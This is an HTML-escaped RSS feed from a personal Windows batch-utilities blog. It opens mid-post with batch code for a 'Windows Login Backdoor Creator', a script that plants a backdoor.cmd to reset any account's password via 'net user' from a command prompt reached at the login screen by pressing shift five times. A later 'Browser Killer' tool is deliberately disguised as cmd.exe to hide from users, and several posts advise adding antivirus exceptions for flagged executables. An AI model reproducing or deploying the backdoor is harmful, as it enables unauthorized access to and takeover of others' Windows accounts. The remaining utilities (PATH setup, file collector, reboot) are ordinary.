&lt;br /&gt;
:writeScript&lt;br /&gt;
mode 55,4&lt;br /&gt;
echo(&lt;br /&gt;
echo  Creating script^: %_bscript%...&lt;br /&gt;
echo(&lt;br /&gt;
call :to&lt;br /&gt;
if exist &quot;%_bscript%&quot; del &quot;%_bscript%&quot;&lt;br /&gt;
echo Creating backdoor.cmd file...&lt;br /&gt;
echo @echo off &gt; %_bscript%&lt;br /&gt;
echo title Creat New User Password &gt;&gt; %_bscript%&lt;br /&gt;
echo echo Enter username to reset your password: &gt;&gt; %_bscript%&lt;br /&gt;
echo set name= &gt;&gt; %_bscript%&lt;br /&gt;
echo set pass= &gt;&gt; %_bscript%&lt;br /&gt;
echo set /P name=&quot;Username:&quot; &gt;&gt; %_bscript%&lt;br /&gt;
echo set /P pass=&quot;New Password:&quot; &gt;&gt; %_bscript%&lt;br /&gt;
echo net user &quot;%%name%%&quot; &quot;%%pass%%&quot; &gt;&gt; %_bscript%&lt;br /&gt;
echo timeout /t 3 ^&gt;NUL &gt;&gt; %_bscript%&lt;br /&gt;
echo exit &gt;&gt; %_bscript%&lt;br /&gt;
exit /b&lt;br /&gt;
&lt;br /&gt;
:howTo&lt;br /&gt;
mode 36, 10&lt;br /&gt;
echo To run:&lt;br /&gt;
echo(&lt;br /&gt;
echo  At the login screen either press &lt;br /&gt;
echo  shift+ctrl+printscreen (or prtsc)&lt;br /&gt;
echo  or hit shift 5 times. This will &lt;br /&gt;
echo  bring up the command prompt. At&lt;br /&gt;
echo  the prompt type &quot;backdoor&quot; into &lt;br /&gt;
echo  the new password screen and follow&lt;br /&gt;
echo  the instructions.&lt;br /&gt;
echo(&lt;br /&gt;
pause&lt;br /&gt;
cls&lt;br /&gt;
exit /b&lt;br /&gt;
&lt;br /&gt;
:to&lt;br /&gt;
timeout /t 3 &gt;nul&lt;br /&gt;
exit /b&lt;br /&gt;
&lt;br /&gt;
:md&lt;br /&gt;
color 0F&lt;br /&gt;
mode 80,25&lt;br /&gt;
exit /b&lt;br /&gt;
&lt;br /&gt;
&lt;/code&gt;
&lt;/div&gt;
&lt;h2&gt;New icon I made for it:&lt;/h2&gt;
&lt;a href=&quot;http://s254.photobucket.com/user/faithnomoread/media/green-backdoor_zps376b76e9.png.html&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/green-backdoor_zps376b76e9.png&quot; border=&quot;0&quot; alt=&quot; photo green-backdoor_zps376b76e9.png&quot;/&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
Once it starts it will enter the registry entries as provided above to create the access to the command prompt at Windows login and it will also create a batch file located in you System32 fold called &quot;backdoor.bat&quot; which will start you through an automated easy process to change your password, so no need to type the commands yourself just run the backdoor file.  This batch files is run from your command prompt by typing &quot;backdoor&quot; or &quot;backdoor.bat&quot; and it 
&lt;/p&gt;
&lt;ul style=&quot;list-style-type:upper-roman;&quot;&gt;
&lt;li&gt;Run this batch file from the command prompt bay typing &quot;backdoor&quot; or &quot;backdoor.bat&quot; and hit &quot;Enter&quot;.&lt;/li&gt;
&lt;li&gt;It will easily guide you through the process of changing your password in just a couple of steps&lt;/li&gt;
&lt;/ul&gt;
Again, login and enjoy!!!
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2015/02/windows-login-backdoor-creator-v20.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-6932689252180227575</guid><pubDate>Tue, 17 Feb 2015 19:57:00 +0000</pubDate><atom:updated>2015-02-17T13:57:59.157-06:00</atom:updated><title>WinBin V1.0</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%; height:100%; font-family: Georgia, serif; overflow: hidden;&quot;&gt;
  &lt;h1 style=&quot;color: #fff380; margin: 0 auto; text-align: center; font-family: &quot;Comic Sans MS&quot;, cursive, sans-serif;&quot;&gt;WinBin V1.0&lt;/h1&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;No matter what OS you use, if you use any console or command line interface then you know that if your script or executable isn&#39;t in a path the computer can read or if the cli is not in the direct path of the said file then it can not be run/found.&lt;/p&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;In most Linux systems there is a user bin system usually located in &lt;code style=&quot;color:yellow;&quot;&gt;$HOME/bin&lt;/code&gt; where you can drop any of your user installed programs or scripts and they can be run form the terminal just like any system command.&lt;/p&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt; In Windows it&#39;s not so simple (although, not so hard either) as any path read by Windows must be declared in the &lt;code style=&quot;color:yellow;&quot;&gt;PATH(%PATH%)&lt;/code&gt; variable.&lt;/p&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;The problem with Windows is that the preset paths are all in system folders and there can be some permission and security issues with some utilities you may use. So it is best to just stay away from system folders when possible. The way to do this is by adding a custom directory designated for the user and adding the directories location to the &lt;code style=&quot;color:yellow;&quot;&gt;PATH&lt;/code&gt; variable.&lt;/p&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;For example I create a directory: &lt;code style=&quot;color:yellow;&quot;&gt;C:\Bin&lt;/code&gt; and then enter this location into the variable from cmd this: &lt;code style=&quot;color:yellow;&quot;&gt;setx /m PATH &quot;%PATH%;C:\Bin&quot;&lt;/code&gt;. And now I can drop whatever scripts or executable into the &lt;code style=&quot;color:yellow;&quot;&gt;C:\Bin&lt;/code&gt; folder and run them from anywhere on the computer from cmd or any other cli.&lt;/p&gt;
&lt;h2&gt;Automate&lt;/h2&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;I do this on every Windows rig I have and so I have created a quick bat to exe script to automate this process with slight error checking. &lt;code style=&quot;color:yellow;&quot;&gt;WinBin V1.0&lt;/code&gt; when started will check for a Bin folder and if exist warns the user that the old folder should be moved or deleted to complete the process. If no folder is found it continues to add the new directory and adds the location to the &lt;code style=&quot;color:yellow;&quot;&gt;PATH&lt;/code&gt; variable. It then checks to makes sure the two functions were executed successfully and if so you can then use the system, if not you either have two many characters in your &lt;code style=&quot;color:yellow;&quot;&gt;PATH&lt;/code&gt; variable (usually mostly from installed software) or the folder wasn&#39;t created successfully.&lt;/p&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;After the system is installed successfully then just drop anything at all that can be run from a cli into the &lt;code style=&quot;color:yellow;&quot;&gt;C:\Bin&lt;/code&gt; folder and run from the cli!!! Very simple and quick and portable!&lt;/p&gt;
&lt;h2&gt;Download:&lt;/h2&gt;
&lt;ul style=&quot;list-style:none;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/llic0vcrgxhwu0m/winbin.exe?dl=0&quot; target=&quot;_blank&quot;&gt;WinBin V1.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Icon I created&lt;/h2&gt;
&lt;a href=&quot;http://s254.photobucket.com/user/faithnomoread/media/WinBin_zpsae822e61.png.html&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/WinBin_zpsae822e61.png&quot; border=&quot;0&quot; alt=&quot; photo WinBin_zpsae822e61.png&quot;/&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2015/02/winbin-v10.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-876972309383810261</guid><pubDate>Tue, 10 Feb 2015 21:46:00 +0000</pubDate><atom:updated>2015-02-11T13:03:28.601-06:00</atom:updated><title>Collector V1.1</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%; height:100%; font-family: Georgia, serif; overflow: hidden;&quot;&gt;
  &lt;h1 style=&quot;color: #fff380; margin: 0 auto; text-align: center; font-family: &quot;Comic Sans MS&quot;, cursive, sans-serif;&quot;&gt;Collector (V1.1 - Updated) &lt;/h1&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;Like most people I am constantly downloading files and installing software to my computer and because, like most people, I am busy all the time I don&#39;t have as much time as I would like to keep my system clean and so I like to write scripts to automate as much as I can to give me more free time away from my computer.&lt;/p&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;Over the years after cleaning, optimizing and fixing countless computers I have learned that most files that eat up disk space that can comfortably be removed are usually media and installation files; things you download from the internet pretty much. Lots of archived files like zips, rars etc...  can end up taking up lots of space and even the most organized of us end up having files spread throughout our system and half the time we forget about them.&lt;/p&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;Recently I wrote a script (Collector V1.1) to copy all files of specific passed extension types to a folder on the desktop so that I can easily analyze the total file size of all said files. Doing this I also found files I forgot I even had and files I knew could be deleted I found the source files and deleted. I have converted my script to exe for easy portability and an administrative manifest.&lt;/p&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;Collector V1.1 is a command line utility (cli/clu) used by passing file extensions to it via a command line such as MS-DOS CMD.&lt;br /&gt;
E.g.:&lt;br /&gt;
&lt;code style=&quot;color:red;&quot;&gt;collect.exe pdf txt log&lt;/code&gt;&lt;br /&gt;
will search your whole computer for all files with those extensions and then copy them to individual folders inside of a folder on your desktop named &quot;Collection&quot;. There is no limit to the amount of passed extensions as it shifts each to &lt;code&gt;%1&lt;/code&gt; until &lt;code&gt;[%1]==[]&lt;/code&gt;.&lt;/p&gt;
&lt;br /&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;Note: As with all bat to exe conversions this might come up as a false positive in your AV, just exclude in your AV. The collect.exe file must be placed in a folder that can be read from &lt;code&gt;%PATH%&lt;/code&gt; such as &lt;code&gt;C:\Windows\System32&lt;/code&gt; or if you&#39;ve added your own custom paths. You can also just &lt;code&gt;cd&lt;/code&gt; to the path of your stored collect.exe.&lt;/p&gt;
&lt;h2&gt;Version Info:&lt;/h2&gt;
&lt;ul style=&quot;list-style: none;&quot;&gt;
&lt;li&gt;Version 1.0 - Initial release. No known bugs.&lt;/li&gt;
&lt;li&gt;Version 1.1 - Add log file with locations of original files.&lt;/li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Download:&lt;/h2&gt; 
&lt;ul style=&quot;list-style: none;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/rrp13w8fik48kvr/collect.exe?dl=0&quot; target=&quot;_blank&quot;&gt;Collector V1.1&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Original Code:&lt;/h2&gt;
&lt;div style=&quot;background: white; width: auto; &quot;&gt;
&lt;code style=&quot;color: black;&quot;&gt;&lt;br /&gt;
@echo off&lt;br /&gt;
set &quot;backd=%cd%&quot;&lt;br /&gt;
title Collect Files&lt;br /&gt;
cls&lt;br /&gt;
&lt;br /&gt;
:loop&lt;br /&gt;
mode 78,4&lt;br /&gt;
if [%1]==[] (&lt;br /&gt;
 call :err&lt;br /&gt;
 if exist &quot;%mainf%&quot; start &quot;&quot; explorer &quot;%mainf%&quot;&lt;br /&gt;
 goto :eof&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
set &quot;efile=%1&quot;&lt;br /&gt;
set &quot;mainf=%userprofile%\Desktop\Collection\&quot;&lt;br /&gt;
set &quot;wdir=%mainf%%efile%\&quot;&lt;br /&gt;
&lt;br /&gt;
cd C:\&lt;br /&gt;
echo(&lt;br /&gt;
echo  Copying all &quot;%efile%&quot; files to %wdir%&lt;br /&gt;
echo(&lt;br /&gt;
for /r %%i in (*.%efile%) do (xcopy &quot;%%i&quot; &quot;%wdir%&quot; /q /y) &gt;nul 2&gt;nul&lt;br /&gt;
cls&lt;br /&gt;
cd %backd%&lt;br /&gt;
shift&lt;br /&gt;
goto :loop&lt;br /&gt;
&lt;br /&gt;
:err&lt;br /&gt;
color FC&lt;br /&gt;
mode 38,4&lt;br /&gt;
cls&lt;br /&gt;
echo(&lt;br /&gt;
echo  No more files to process...&lt;br /&gt;
echo(&lt;br /&gt;
pause&lt;br /&gt;
cls&lt;br /&gt;
color 0F&lt;br /&gt;
mode 80,25&lt;br /&gt;
title %backd%&lt;br /&gt;
exit /b&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;

&lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/C-_Users_Lateralus_Desktop_output16_zpsee8db8ac.png&quot; alt=&quot;collector&quot; /&gt;
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2015/02/collector-v1.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-5882129109137819889</guid><pubDate>Fri, 06 Feb 2015 15:03:00 +0000</pubDate><atom:updated>2015-02-06T09:46:43.158-06:00</atom:updated><title>Reboot for Windows - Linux Alternative</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%; height:100%; font-family: Georgia, serif; overflow: hidden;&quot;&gt;
  &lt;h1 style=&quot;color: #fff380; margin: 0 auto; text-align: center; font-family: &quot;Comic Sans MS&quot;, cursive, sans-serif;&quot;&gt;Windows Reboot V1.0&lt;/h1&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;A lot of us who use both Windows and Linux find Windows cli commands lacking at times. Linux is best ran by the command (terminal) line in my opinion and almost everything you can do on a computer in Linux can and should be done via the terminal. One of the most annoying things I have found in Windows is the horrible way you have to reboot your computer from Windows CMD. In Linux it&#39;s as simple as typing &#39;&lt;code&gt;reboot&lt;/code&gt;&#39;.&lt;/p&gt;
&lt;br /&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;In Windows in order to reboot your computer from a command line you must type &#39;&lt;code&gt;shutdown /r /t 0&lt;/code&gt;&#39; to reboot your computer. While this comes in handy for some things it is annoying for normal every day usage. I have created a batch to exe (for portability and easy use with administrative priveledges) script to emulate this feature in Windows. Simply place the reboot.exe in your &lt;code&gt;C:\Windows\System32\&lt;/code&gt; or any path in Windows &lt;code&gt;%PATH%&lt;/code&gt; variable and run from command line with &#39;&lt;code&gt;reboot&lt;/code&gt;&#39;.&lt;/p&gt;

&lt;br /&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;The difference between Linuxs &#39;&lt;code&gt;reboot&lt;/code&gt;&#39; and my Windows version is that an amount of time to wait before reboot can be passed to it as you would any passed parameter:&lt;br /&gt;
&lt;code&gt;reboot 30&lt;/code&gt;&lt;br /&gt;
will wait 30 seconds before the reboot.
&lt;/p&gt;
&lt;br /&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;This is available in 3 versions; the original cmd script, reboot with admin manifest and a reboot without admin manifest (rename to reboot) for use on public computers:
&lt;br /&gt;
&lt;ul style=&quot;list-style: none;&quot;&gt;
&lt;li&gt;Reboot V1.0 CMD: &lt;a href=&quot;https://www.dropbox.com/s/d5a5g8uorybkklw/reboot.cmd?dl=0&quot; target=&quot;_blank&quot;&gt;https://www.dropbox.com/s/d5a5g8uorybkklw/reboot.cmd?dl=0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Reboot V1.0 Admin: &lt;a href=&quot;https://www.dropbox.com/s/mx7zslrf2wtvav2/reboot.exe?dl=0&quot; target=&quot;_blank&quot;&gt;https://www.dropbox.com/s/mx7zslrf2wtvav2/reboot.exe?dl=0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Reboot V1.0 No Admin: &lt;a href=&quot;https://www.dropbox.com/s/7ht8kgnw2hn0jdq/reboot-no-admin.exe?dl=0&quot; target=&quot;_blank&quot;&gt;https://www.dropbox.com/s/7ht8kgnw2hn0jdq/reboot-no-admin.exe?dl=0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

Orignal script:
&lt;div style=&quot;background: white; width: auto; &quot;&gt;
&lt;code style=&quot;color: black;&quot;&gt;&lt;br /&gt;
@echo off&lt;br /&gt;
&lt;br /&gt;
if [%1]==[] (&lt;br /&gt;
 call :restart&lt;br /&gt;
) else (&lt;br /&gt;
 set rt=%1&lt;br /&gt;
 call :passed&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
goto :eof&lt;br /&gt;
&lt;br /&gt;
:passed&lt;br /&gt;
shutdown /r /t %rt% &lt;br /&gt;
exit /b&lt;br /&gt;
&lt;br /&gt;
:restart &lt;br /&gt;
shutdown /r /t 0&lt;br /&gt;
exit /b&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: auto 0; width: 274px;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibVkTuWHpy6PITFD2IaCkCgjvDyjg1juPAynNZQsGnTvq4lY7pZmfcjMTjyIVvJaB0KW2zM34d8tIEUmv1MbeqKmmszABKKUsh70o06Mgz3kbSN3MDybO-Z6syhZXmJjVE0Zd_LqEliQSq/s1600/reboot-red-icon.png&quot; imageanchor=&quot;1&quot; style=&quot;width:264px;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibVkTuWHpy6PITFD2IaCkCgjvDyjg1juPAynNZQsGnTvq4lY7pZmfcjMTjyIVvJaB0KW2zM34d8tIEUmv1MbeqKmmszABKKUsh70o06Mgz3kbSN3MDybO-Z6syhZXmJjVE0Zd_LqEliQSq/s1600/reboot-red-icon.png&quot; /&gt;&lt;br /&gt;&lt;span style=&quot;color: black;&quot;&gt;Icon I made for the script.&lt;/span&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2015/02/reboot-for-windows-linux-alternative.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibVkTuWHpy6PITFD2IaCkCgjvDyjg1juPAynNZQsGnTvq4lY7pZmfcjMTjyIVvJaB0KW2zM34d8tIEUmv1MbeqKmmszABKKUsh70o06Mgz3kbSN3MDybO-Z6syhZXmJjVE0Zd_LqEliQSq/s72-c/reboot-red-icon.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-5884716878014014249</guid><pubDate>Wed, 15 Oct 2014 16:55:00 +0000</pubDate><atom:updated>2014-10-24T20:03:58.405-05:00</atom:updated><title>Browser Killer v1.0</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%; font-family: Georgia, serif;&quot;&gt;
  &lt;h1 style=&quot;color: #fff380; margin: 0 auto; text-align: center; font-family: &quot;Comic Sans MS&quot;, cursive, sans-serif;&quot;&gt;Browser Killer V1.1&lt;/h1&gt;
&lt;p&gt;Updated to V1.1&lt;/p&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;As parents we want the best for our children and we want them to do the best they can in school or wherever they receive their education. The sad fact is that children need guidance and order and as parents we must do the best we can to enforce this. We all know this is almost impossible to control nowadays as we can not be around them 24 hours a day. &lt;/p&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;One of the major problems I see is distraction, mainly by the internet. Regardless of what your children say they don&#39;t always need the internet to do their homework. Sure, if they have something they need to research that&#39;s about the only time they should be online, but if your children are doing most of their homework online someone should be checking their teachers curriculum.&lt;/p&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;Since we can&#39;t be there all the time I have created a utility to detect and kill web browsers. Every 10 seconds (to reduce system lag) my utility will run silently in the background and then go through a series of browser detection and kill loops. Kids are smart and getting smarter and therefor I had to design a somewhat hidden program that runs in cmd instead of its&#39; own executable.&lt;/p&gt;
&lt;h2 style=&quot;color:red;&quot;&gt;Usage:&lt;/h2&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;This is a portable application which is meant to be hidden so you should store this somewhere you will remember, but where your kids might not think to look. The best ways to use this are:
&lt;ul&gt;
&lt;li style=&quot;list-style:none;&quot;&gt;When you&#39;re home:&lt;ul style=&quot;list-style:upper-roman;&quot;&gt;
    &lt;li&gt;Have your children leave the room and start the kap.exe.&lt;/li&gt;
    &lt;li&gt;It runs as cmd.exe in Task Manager which could be anything so your kids have no idea that it is your process. &lt;/li&gt;
    &lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;list-style:none;&quot;&gt;When you&#39;re not home:&lt;ul style=&quot;list-style:upper-roman;&quot;&gt;
    &lt;li&gt;It&#39;s a good idea to set homework times and set this to run via task scheduler.&lt;br /&gt;Learn about Task Scheduler &lt;a href=&quot;http://windows.microsoft.com/en-us/windows/schedule-task#1TC=windows-7&quot; target=&quot; _blank&quot;&gt;here&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;list-style:none;&quot;&gt;To end:&lt;ul style=&quot;list-style:upper-roman;&quot;&gt;
    &lt;li&gt;I have included an endkap.exe which will kill all instances of cmd.exe. (endkap.exe now kills via its&#39; specific PID instead of all instances of cmd.exe)&lt;/li&gt;
    &lt;li&gt;You can kill in your task manager by killing the cmd.exe that is the parent process of timeout.exe.&lt;/li&gt;
    &lt;li&gt;You can start a new cmd.exe to kill with the command&lt;br /&gt; &lt;code&gt;taskkill /f /im cmd.exe&lt;/code&gt;&lt;br /&gt; or set the same command in Task Scheduler when you want it to stop.&lt;/li&gt;
    &lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
 &lt;/p&gt;
&lt;h2 style=&quot;color:red;&quot;&gt;Security Issue:&lt;/h2&gt;
&lt;p style=&quot;text-indent: 16px;&quot;&gt;The behavior of this application stops access to the internet via browsers and therefor is flagged by some antiviruses as false-positives (&lt;a href=&quot;https://www.google.com/search?q=false+positive&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a&amp;channel=sb#rls=org.mozilla:en-US:official&amp;channel=sb&amp;q=antivirus+false+positive&quot; target=&quot;_blank&quot;&gt;AV false-positives Google search&lt;/a&gt;). To get around this just (restore if necessary) make an exception in your anti-virus program.&lt;/p&gt;

&lt;h2 style=&quot;color:red;&quot;&gt;Notes:&lt;/h2&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;Creates a kill.log file in the users Documents folder which logs which browser is killed by time and date so that you can see if and how your kids are trying to be sneaky or not.&lt;/p&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;This is the beta version, alpha has been tested and worked with no bugs in Windows Vista 32bit and Windows 7 64bit. Please email all bugs to faithnomoread@yahoo.com or leave a comment in the section below.&lt;br /&gt;Browsers included so far:
&lt;ul style=&quot;list-style: upper-roman;&quot;&gt;
&lt;li&gt;Internet Explorer&lt;/li&gt;
&lt;li&gt;Firefox&lt;/li&gt;
&lt;li&gt;Opera&lt;/li&gt;
&lt;li&gt;Chrome&lt;/li&gt;
&lt;li&gt;Safari&lt;/li&gt;
&lt;li&gt;Maxthon&lt;/li&gt;
&lt;li&gt;Avant&lt;/li&gt;
&lt;li&gt;Torch&lt;/li&gt;
&lt;li&gt;Midori&lt;/li&gt;
&lt;/ul&gt;
There are more I could add, but most your children will never even hear of.
&lt;/p&gt;
&lt;h2 style=&quot;color:red;&quot;&gt;Release Notes:&lt;/h2&gt;
 &lt;p&gt;V1.0 - First beta release&lt;br /&gt;V1.1 - Added kill.log file in your Documents folder and endkap now kills Browser Killer via its&#39; unique PID instead of kill all instances of cmd.&lt;/p&gt;
&lt;h2 style=&quot;color:red;&quot;&gt;Download:&lt;/h2&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;  &lt;ul style=&quot;color: red; list-style-type: none;&quot;&gt;
        &lt;li&gt;Download Browser Killer V1.1: &lt;a href=&quot;https://www.dropbox.com/s/wdvts4qklrv4r5b/Kill%20Browsersv1.1.zip?dl=0&quot; target=&quot;_blank&quot;&gt;Browser Killer V1.1&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;&lt;/p&gt; 

&lt;h2 style=&quot;color:red;&quot;&gt;Icons I created:&lt;/h2&gt;
  &lt;figure style=&quot;text-align: center;&quot;&gt; &lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/kabicon256_zpsf9f163c4.png&quot; style=&quot;margin-top: 25px;&quot; alt=&quot;kapno&quot; /&gt;
    &lt;figcaption&gt;Icon for KAP&lt;/figcaption&gt;
  &lt;/figure&gt;
    &lt;figure style=&quot;text-align: center;&quot;&gt; &lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/kabiconY256_zps20a3fb86.png&quot; style=&quot;margin-top: 25px;&quot; alt=&quot;kapend&quot; /&gt;
    &lt;figcaption&gt;Icon for ENDKAP&lt;/figcaption&gt;
  &lt;/figure&gt;

&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2014/10/browser-killer-v10.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-1821028386805454879</guid><pubDate>Sat, 20 Sep 2014 23:52:00 +0000</pubDate><atom:updated>2014-10-24T20:01:54.653-05:00</atom:updated><title>Shortcut Overlay Utility by Lateralus138</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%; font-family: Georgia, serif;&quot;&gt;
&lt;h1 style=&quot;color: #fff380; margin: 0 auto; text-align: center; font-family: &quot;Comic Sans MS&quot;, cursive, sans-serif;&quot;&gt; Project currently being rewritten&lt;/h1&gt;
  &lt;h1 style=&quot;color: #fff380; margin: 0 auto; text-align: center; font-family: &quot;Comic Sans MS&quot;, cursive, sans-serif;&quot;&gt;&lt;s&gt; Shortcut Overlay Utility&lt;/s&gt;&lt;/h1&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;&lt;s&gt;There are a few of these out there and all work, but I like to create my own tools that work more the way I want them to. If you don&#39;t know what a shortcut overlay is it is the little arrow on any shortcut file in Windows. Some of us either don&#39;t like the arrow there or sometimes we want to switch back to old fashion XP overlays.&lt;/p&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  &lt;figure style=&quot;text-align: center; float: left; margin: 0 0 0 28px&quot;&gt; &lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/defaultwindows-v-7-thumb_Shortcut_Arrow_zps2a6fd1e6.png&quot; alt=&quot;dv7&quot; /&gt;
    &lt;figcaption&gt;Default Vista &amp;amp; 7&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure style=&quot;text-align: center; float: left; margin: 0 0 0 48px;&quot;&gt; &lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/xp-default-sc-arrow_zps5465ee3e.png&quot; style=&quot;margin-top: 26px;&quot; alt=&quot;dxp&quot; /&gt;
    &lt;figcaption&gt;Default XP&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure style=&quot;text-align: center; float: left; margin: 0 0 0 48px&quot;&gt; &lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/xp-hand-sc-arrow_zpsfdf11975.png&quot; style=&quot;margin-top: 14px;&quot; alt=&quot;handxp&quot; /&gt;
    &lt;figcaption&gt;XP Hand&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure style=&quot;text-align: center; float: left; margin: 0 0 0 48px&quot;&gt; &lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/no-sc-arrow_zps28f1ac7a.png&quot; style=&quot;margin-top: 0px;&quot; alt=&quot;none&quot; /&gt;
    &lt;figcaption&gt;No Shortcut Arrow&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;Shortcut Overlay Utility V1.1 has modes for Vista and 7 &amp;amp; 8 and has all 4 modes in each.&lt;/p&gt;
